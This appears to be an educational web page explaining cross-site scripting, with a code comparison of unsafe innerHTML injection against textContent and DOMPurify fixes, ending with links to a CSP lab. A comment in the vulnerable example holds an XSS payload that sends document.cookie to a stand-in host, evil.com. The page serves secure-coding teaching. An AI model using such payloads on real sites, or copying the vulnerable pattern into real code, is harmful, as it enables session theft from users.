Cross-Site Scripting (XSS)
A web security vulnerability that enables attackers to inject malicious client-side JavaScript into web pages viewed by other users, compromising session tokens, DOM data, and user identity.
Entity Relationships (GEO Conceptual Hierarchy)
Taxonomy ModelTechnical Explanation & Operational Mechanics
Cross-Site Scripting occurs when an application receives untrusted data and includes it in a web page without proper output encoding or HTML sanitization. Because the script executes within the context of the victim's authenticated browser session, the browser grants the injected script full access to the victim's Document Object Model, localStorage, and non-HttpOnly cookies. XSS is divided into three primary categories: Stored XSS (payload persisted in a database), Reflected XSS (payload echoed from a URL parameter or form input), and DOM-based XSS (payload processed directly by vulnerable client-side JavaScript).
Technical Example & Practical Implementation
Vulnerable DOM injection compared to secure textContent / DOMPurify handling
// ❌ VULNERABLE: Direct innerHTML injection executes attacker payload
const searchParam = new URLSearchParams(window.location.search).get('q');
// If query is: <img src=x onerror="fetch('https://evil.com?c='+document.cookie)">
document.getElementById('results').innerHTML = "Results for: " + searchParam;
// ✅ SECURE: textContent treats the input strictly as inert string data
document.getElementById('results').textContent = "Results for: " + searchParam;
// ✅ SECURE: Context-aware HTML sanitization if HTML markup is required
import DOMPurify from 'dompurify';
document.getElementById('results').innerHTML = DOMPurify.sanitize(searchParam);Related Topic Ecosystem & Next Steps
관련 기술 아티클
실습형 진단 랩
개발자 표준 규격 및 레퍼런스
다음 학습 단계
Content Security Policy (CSP) Hands-On Lab
Step into the interactive lab to defend a vulnerable DOM application with strict CSP nonces.